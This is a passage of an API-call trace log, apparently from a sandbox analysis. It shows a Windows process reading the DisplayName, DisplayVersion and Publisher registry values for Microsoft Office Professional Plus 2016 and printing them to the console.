lpUsedDefaultChar=0x0) returned 1 [0146.934] GetConsoleOutputCP () returned 0x1b5 [0146.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.934] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.934] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.934] GetProcessHeap () returned 0x2e0000 [0146.934] GetProcessHeap () returned 0x2e0000 [0146.934] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.934] GetProcessHeap () returned 0x2e0000 [0146.934] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.934] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.934] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.935] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x62) returned 0x0 [0146.935] GetProcessHeap () returned 0x2e0000 [0146.935] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x64) returned 0x2fb7d0 [0146.935] GetProcessHeap () returned 0x2e0000 [0146.935] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.935] GetProcessHeap () returned 0x2e0000 [0146.935] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x64 [0146.935] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x62 | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Office Professional Plus 2016 - en-us", pcbData=0x23f670*=0x60) returned 0x0 [0146.935] __iob_func () returned 0x7fefd702a80 [0146.935] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.935] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.935] _fileno (_File=0x7fefd702ab0) returned 1 [0146.935] _errno () returned 0xc4bb0 [0146.935] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.935] _errno () returned 0xc4bb0 [0146.935] GetFileType (hFile=0x50) returned 0x1 [0146.935] lstrlenW (lpString=" ") returned 4 [0146.935] GetConsoleOutputCP () returned 0x1b5 [0146.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.935] GetConsoleOutputCP () returned 0x1b5 [0146.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.935] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.935] lstrlenW (lpString="DisplayName") returned 11 [0146.935] __iob_func () returned 0x7fefd702a80 [0146.935] _fileno (_File=0x7fefd702ab0) returned 1 [0146.936] _errno () returned 0xc4bb0 [0146.936] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.936] _errno () returned 0xc4bb0 [0146.936] GetFileType (hFile=0x50) returned 0x1 [0146.936] lstrlenW (lpString="DisplayName") returned 11 [0146.936] GetConsoleOutputCP () returned 0x1b5 [0146.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.936] GetConsoleOutputCP () returned 0x1b5 [0146.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0146.936] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.936] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.936] __iob_func () returned 0x7fefd702a80 [0146.936] _fileno (_File=0x7fefd702ab0) returned 1 [0146.936] _errno () returned 0xc4bb0 [0146.936] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.936] _errno () returned 0xc4bb0 [0146.936] GetFileType (hFile=0x50) returned 0x1 [0146.936] lstrlenW (lpString=" ") returned 4 [0146.936] GetConsoleOutputCP () returned 0x1b5 [0146.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.936] GetConsoleOutputCP () returned 0x1b5 [0146.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.937] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.937] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.937] __iob_func () returned 0x7fefd702a80 [0146.937] _fileno (_File=0x7fefd702ab0) returned 1 [0146.937] _errno () returned 0xc4bb0 [0146.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.937] _errno () returned 0xc4bb0 [0146.937] GetFileType (hFile=0x50) returned 0x1 [0146.937] lstrlenW (lpString="REG_SZ") returned 6 [0146.937] GetConsoleOutputCP () returned 0x1b5 [0146.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.937] GetConsoleOutputCP () returned 0x1b5 [0146.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.937] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.937] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.937] __iob_func () returned 0x7fefd702a80 [0146.937] _fileno (_File=0x7fefd702ab0) returned 1 [0146.937] _errno () returned 0xc4bb0 [0146.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.937] _errno () returned 0xc4bb0 [0146.937] GetFileType (hFile=0x50) returned 0x1 [0146.937] lstrlenW (lpString=" ") returned 4 [0146.937] GetConsoleOutputCP () returned 0x1b5 [0146.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.938] GetConsoleOutputCP () returned 0x1b5 [0146.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.938] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.938] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.938] __iob_func () returned 0x7fefd702a80 [0146.938] _fileno (_File=0x7fefd702ab0) returned 1 [0146.938] _errno () returned 0xc4bb0 [0146.938] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.938] _errno () returned 0xc4bb0 [0146.938] GetFileType (hFile=0x50) returned 0x1 [0146.938] lstrlenW (lpString="Microsoft Office Professional Plus 2016 - en-us") returned 47 [0146.938] GetConsoleOutputCP () returned 0x1b5 [0146.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Office Professional Plus 2016 - en-us", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0146.938] GetConsoleOutputCP () returned 0x1b5 [0146.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Office Professional Plus 2016 - en-us", cchWideChar=47, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Office Professional Plus 2016 - en-us", lpUsedDefaultChar=0x0) returned 47 [0146.938] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 47 [0146.938] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.938] __iob_func () returned 0x7fefd702a80 [0146.939] _fileno (_File=0x7fefd702ab0) returned 1 [0146.939] _errno () returned 0xc4bb0 [0146.939] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.939] _errno () returned 0xc4bb0 [0146.939] GetFileType (hFile=0x50) returned 0x1 [0146.939] lstrlenW (lpString="\n") returned 1 [0146.939] GetConsoleOutputCP () returned 0x1b5 [0146.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.939] GetConsoleOutputCP () returned 0x1b5 [0146.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.939] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.939] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.939] GetProcessHeap () returned 0x2e0000 [0146.939] GetProcessHeap () returned 0x2e0000 [0146.939] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.939] GetProcessHeap () returned 0x2e0000 [0146.939] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x64 [0146.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.939] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.939] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x20) returned 0x0 [0146.939] GetProcessHeap () returned 0x2e0000 [0146.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x22) returned 0x2f5bf0 [0146.939] GetProcessHeap () returned 0x2e0000 [0146.939] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.939] GetProcessHeap () returned 0x2e0000 [0146.939] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0146.939] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x20 | out: pdwType=0x23f5f0*=0x1, pvData="16.0.8431.2079", pcbData=0x23f670*=0x1e) returned 0x0 [0146.940] __iob_func () returned 0x7fefd702a80 [0146.940] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.940] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.940] _fileno (_File=0x7fefd702ab0) returned 1 [0146.940] _errno () returned 0xc4bb0 [0146.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.940] _errno () returned 0xc4bb0 [0146.940] GetFileType (hFile=0x50) returned 0x1 [0146.940] lstrlenW (lpString=" ") returned 4 [0146.940] GetConsoleOutputCP () returned 0x1b5 [0146.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.940] GetConsoleOutputCP () returned 0x1b5 [0146.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.940] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.940] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.940] lstrlenW (lpString="DisplayVersion") returned 14 [0146.940] __iob_func () returned 0x7fefd702a80 [0146.940] _fileno (_File=0x7fefd702ab0) returned 1 [0146.940] _errno () returned 0xc4bb0 [0146.940] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.940] _errno () returned 0xc4bb0 [0146.940] GetFileType (hFile=0x50) returned 0x1 [0146.940] lstrlenW (lpString="DisplayVersion") returned 14 [0146.940] GetConsoleOutputCP () returned 0x1b5 [0146.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.941] GetConsoleOutputCP () returned 0x1b5 [0146.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0146.941] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0146.941] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.941] __iob_func () returned 0x7fefd702a80 [0146.941] _fileno (_File=0x7fefd702ab0) returned 1 [0146.941] _errno () returned 0xc4bb0 [0146.941] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.941] _errno () returned 0xc4bb0 [0146.941] GetFileType (hFile=0x50) returned 0x1 [0146.941] lstrlenW (lpString=" ") returned 4 [0146.941] GetConsoleOutputCP () returned 0x1b5 [0146.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.941] GetConsoleOutputCP () returned 0x1b5 [0146.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.941] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.941] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.941] __iob_func () returned 0x7fefd702a80 [0146.941] _fileno (_File=0x7fefd702ab0) returned 1 [0146.942] _errno () returned 0xc4bb0 [0146.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.942] _errno () returned 0xc4bb0 [0146.942] GetFileType (hFile=0x50) returned 0x1 [0146.942] lstrlenW (lpString="REG_SZ") returned 6 [0146.942] GetConsoleOutputCP () returned 0x1b5 [0146.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.942] GetConsoleOutputCP () returned 0x1b5 [0146.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.942] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.942] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.942] __iob_func () returned 0x7fefd702a80 [0146.942] _fileno (_File=0x7fefd702ab0) returned 1 [0146.942] _errno () returned 0xc4bb0 [0146.942] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.942] _errno () returned 0xc4bb0 [0146.942] GetFileType (hFile=0x50) returned 0x1 [0146.942] lstrlenW (lpString=" ") returned 4 [0146.942] GetConsoleOutputCP () returned 0x1b5 [0146.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.942] GetConsoleOutputCP () returned 0x1b5 [0146.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.943] __iob_func () returned 0x7fefd702a80 [0146.943] _fileno (_File=0x7fefd702ab0) returned 1 [0146.943] _errno () returned 0xc4bb0 [0146.943] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.943] _errno () returned 0xc4bb0 [0146.943] GetFileType (hFile=0x50) returned 0x1 [0146.943] lstrlenW (lpString="16.0.8431.2079") returned 14 [0146.943] GetConsoleOutputCP () returned 0x1b5 [0146.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.943] GetConsoleOutputCP () returned 0x1b5 [0146.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.0.8431.2079", lpUsedDefaultChar=0x0) returned 14 [0146.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0146.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.943] __iob_func () returned 0x7fefd702a80 [0146.943] _fileno (_File=0x7fefd702ab0) returned 1 [0146.943] _errno () returned 0xc4bb0 [0146.943] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.943] _errno () returned 0xc4bb0 [0146.943] GetFileType (hFile=0x50) returned 0x1 [0146.943] lstrlenW (lpString="\n") returned 1 [0146.943] GetConsoleOutputCP () returned 0x1b5 [0146.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.944] GetConsoleOutputCP () returned 0x1b5 [0146.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.944] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.944] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.944] GetProcessHeap () returned 0x2e0000 [0146.944] GetProcessHeap () returned 0x2e0000 [0146.944] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.944] GetProcessHeap () returned 0x2e0000 [0146.944] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0146.944] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0146.944] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.944] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0146.944] GetProcessHeap () returned 0x2e0000 [0146.944] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0146.944] GetProcessHeap () returned 0x2e0000 [0146.944] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0146.944] GetProcessHeap () returned 0x2e0000 [0146.944] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0146.944] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0146.944] __iob_func () returned 0x7fefd702a80 [0146.944] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.945] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.945] _fileno (_File=0x7fefd702ab0) returned 1 [0146.945] _errno () returned 0xc4bb0 [0146.945] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.945] _errno () returned 0xc4bb0 [0146.945] GetFileType (hFile=0x50) returned 0x1 [0146.945] lstrlenW (lpString=" ") returned 4 [0146.945] GetConsoleOutputCP () returned 0x1b5 [0146.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.945] GetConsoleOutputCP () returned 0x1b5 [0146.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.945] lstrlenW (lpString="Publisher") returned 9 [0146.945] __iob_func () returned 0x7fefd702a80 [0146.945] _fileno (_File=0x7fefd702ab0) returned 1 [0146.945] _errno () returned 0xc4bb0 [0146.945] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.945] _errno () returned 0xc4bb0 [0146.945] GetFileType (hFile=0x50) returned 0x1 [0146.945] lstrlenW (lpString="Publisher") returned 9 [0146.945] GetConsoleOutputCP () returned 0x1b5 [0146.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.946] GetConsoleOutputCP () returned 0x1b5 [0146.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0146.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.946] __iob_func () returned 0x7fefd702a80 [0146.946] _fileno (_File=0x7fefd702ab0) returned 1 [0146.946] _errno () returned 0xc4bb0 [0146.946] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.946] _errno () returned 0xc4bb0 [0146.946] GetFileType (hFile=0x50) returned 0x1 [0146.946] lstrlenW (lpString=" ") returned 4 [0146.946] GetConsoleOutputCP () returned 0x1b5 [0146.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.946] GetConsoleOutputCP () returned 0x1b5 [0146.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.946] __iob_func () returned 0x7fefd702a80 [0146.946] _fileno (_File=0x7fefd702ab0) returned 1 [0146.946] _errno () returned 0xc4bb0 [0146.946] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.946] _errno () returned 0xc4bb0 [0146.946] 